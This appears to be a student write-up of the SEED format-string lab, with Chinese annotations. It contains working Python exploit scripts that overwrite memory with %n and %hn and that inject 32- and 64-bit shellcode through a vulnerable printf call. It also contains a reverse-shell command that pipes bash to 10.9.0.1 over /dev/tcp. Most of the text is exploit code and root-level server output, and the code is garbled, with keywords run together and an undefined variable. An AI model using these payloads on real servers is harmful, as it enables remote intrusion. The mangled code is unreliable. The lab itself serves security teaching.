/* Changing this size will change the layout of the stack. * Instructors can change this value each year, so students * won't be able to use the solutions from the past. * Suggested value: between 10 and 400 */ #ifndef BUF_SIZE #define BUF_SIZE 100 #endif
printf("Waiting for user input ......\n"); int length = fread(buf, sizeof(char), 1500, stdin); printf("Received %d bytes.\n", length);
dummy_function(buf); printf("(^_^)(^_^) Returned properly (^_^)(^_^)\n");
return1; }
// This function is used to insert a stack frame between main and myprintf. // The size of the frame can be adjusted at the compilation time. // The function itself does not do anything. voiddummy_function(char *str) { char dummy_buffer[BUF_SIZE]; memset(dummy_buffer, 0, BUF_SIZE);
/* Changing this size will change the layout of the stack. */ #ifndef BUF_SIZE #define BUF_SIZE 100 #endif
unsignedint target = 0x11223344;
char *secret = "A secret message\n";
voidmyprintf(char *msg) { unsignedint *framep; // Save the ebp value into framep asm("movl %%ebp, %0" : "=r"(framep)); printf("Frame Pointer (inside myprintf): 0x%.8x\n", (unsignedint) framep); printf("The target variable's value (before): 0x%.8x\n", target); printf(msg);// This line has a format-string vulnerability printf("The target variable's value (after): 0x%.8x\n", target);
Change the value to a different value. In this sub-task, we need to change the content of the target variable to something else. Your task is considered as a success if you can change it to a different value, regardless of what value it may be. The address of the target variable can be found from the server printout
改为任意值
1 2 3 4 5 6 7 8 9 10 11 12
#!/usr/bin/python3
import sys N = 1500 content = bytearray(0x0for i inrange(N)) secret = 0x080e5068 content[0:4] = (secret).to_bytes(4,byteorder='little') data = "%x"*63+"\ntarget changed:%n" data = (data).encode('latin-1') content[4:4+len(data)] = data withopen('bad', 'wb') as f: f.write(content)
1
server-10.9.0.5 | target changed:The target variable's value (after): 0x000000fc
Task 3.B
Change the value to 0x5000. In this sub-task, we need to change the content of the target variable to a specific value 0x5000. Your task is considered as a success only if the vari- able’s value becomes 0x5000.
将值更改为0x5000
1 2 3 4 5 6 7 8 9 10 11 12 13
#!/usr/bin/python3
import sys N = 1500 content = bytearray(0x0for i inrange(N)) secret = 0x080e5068 content[0:4] = (secret).to_bytes(4,byteorder='little') data = "%.8x"*62 + "%.19980x" + "%n" data = (data).encode('latin-1') content[4:4+len(data)] = data withopen('bad', 'wb') as f: f.write(content)
1 2
0000000000005dcThe target variable's value (after): 0x00005000 server-10.9.0.5 | (^_^)(^_^) Returned properly (^_^)(^_^)
Task 3.C
Change the value to 0xAABBCCDD. This sub-task is similar to the previous one, except that the target value is now a large number. In a format string attack, this value is the total number of characters that are printed out by the printf() function; printing out this large number of characters may take hours. You need to use a faster approach. The basic idea is to use %hn or %hhn, instead of %n, so we can modify a two-byte (or one-byte) memory space, instead of four bytes. Printing out 216 characters does not take much time. More details can be found in the SEED book
Question 1: What are the memory addresses at the locations marked by 2 and 3
2:ebp+4=0xffffd538+4=FFFFD53C(myprintf返回地址)
3 :0xffffd610(buffer的地址)
Frame Pointer (inside myprintf): 0xffffd538
The input buffer’s address: 0xffffd610
Question 2: How many %x format specifiers do we need to move the format string argument pointer to 3 ? Remember, the argument pointer starts from the location above 1
# 32-bit Generic Shellcode shellcode_32 = ( "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b" "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54" "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff" "/bin/bash*" "-c*" # The * in this line serves as the position marker * "/bin/ls -l; echo '===== Success! ======' *" "AAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBB"# Placeholder for argv[1] --> "-c" "CCCC"# Placeholder for argv[2] --> the command string "DDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
# 64-bit Generic Shellcode shellcode_64 = ( "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48" "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48" "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31" "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff" "/bin/bash*" "-c*" # The * in this line serves as the position marker * "/bin/ls -l; echo '===== Success! ======' *" "AAAAAAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBBBBBB"# Placeholder for argv[1] --> "-c" "CCCCCCCC"# Placeholder for argv[2] --> the command string "DDDDDDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
N = 1500 # Fill the content with NOP's content = bytearray(0x90for i inrange(N))
# Choose the shellcode version based on your target shellcode = shellcode_32
# Put the shellcode somewhere in the payload start = 1500-len(shellcode) #0d1364 content[start:start + len(shellcode)] = shellcode
content[8:12]=(ret_addr_high).to_bytes(4,byteorder='little') #0xDA90-12-8*62=55952-508=55444 data = "%.8x"*62 + "%.55444x" + "%hn" + "%.9583x" + "%hn" data = (data).encode('latin-1') content[12:12+len(data)] = data
# Save the format string to file withopen('badfile', 'wb') as f: f.write(content)
1 2 3 4 5 6 7 8
�KP�CT�KH1�1��5 | �KL�K �����/bin/bash*-c*/bin/ls -l; echo '===== Success! ======' *AAAABBBBCCCCDDDDThe target variable's value (after): 0x11223344 server-10.9.0.5 | total 832 server-10.9.0.5 | -rw------- 1 root root 319488 Mar 29 13:23 core server-10.9.0.5 | -rwxrwxr-x 1 root root 709340 Mar 27 07:43 format server-10.9.0.5 | -rwxrwxr-x 1 root root 17880 Mar 27 07:43 server server-10.9.0.5 | ===== Success! ======
根据回显可以确定触发了/bin/ls命令
Getting a Reverse Shell
We are not interested in running some pre-determined commands. We want to get a root shell on the target server, so we can type any command we want. Since we are on a remote machine, if we simply get the server to run /bin/bash, we won’t be able to control the shell program. Reverse shell is a typical technique to solve this problem. Section 9 provides detailed instructions on how to run a reverse shell. Please modify the command string in your shellcode, so you can get a reverse shell on the target server. Please include screenshots and explanation in your lab report.
# 32-bit Generic Shellcode shellcode_32 = ( "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b" "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54" "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff" "/bin/bash*" "-c*" # The * in this line serves as the position marker * # "/bin/ls -l; echo '===== Success! ======' *" "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *" "AAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBB"# Placeholder for argv[1] --> "-c" "CCCC"# Placeholder for argv[2] --> the command string "DDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
# 64-bit Generic Shellcode shellcode_64 = ( "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48" "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48" "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31" "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff" "/bin/bash*" "-c*" # The * in this line serves as the position marker * "/bin/ls -l; echo '===== Success! ======' *" "AAAAAAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBBBBBB"# Placeholder for argv[1] --> "-c" "CCCCCCCC"# Placeholder for argv[2] --> the command string "DDDDDDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
N = 1500 # Fill the content with NOP's content = bytearray(0x90for i inrange(N))
# Choose the shellcode version based on your target shellcode = shellcode_32
# Put the shellcode somewhere in the payload start = 1500-len(shellcode) #0d1364 content[start:start + len(shellcode)] = shellcode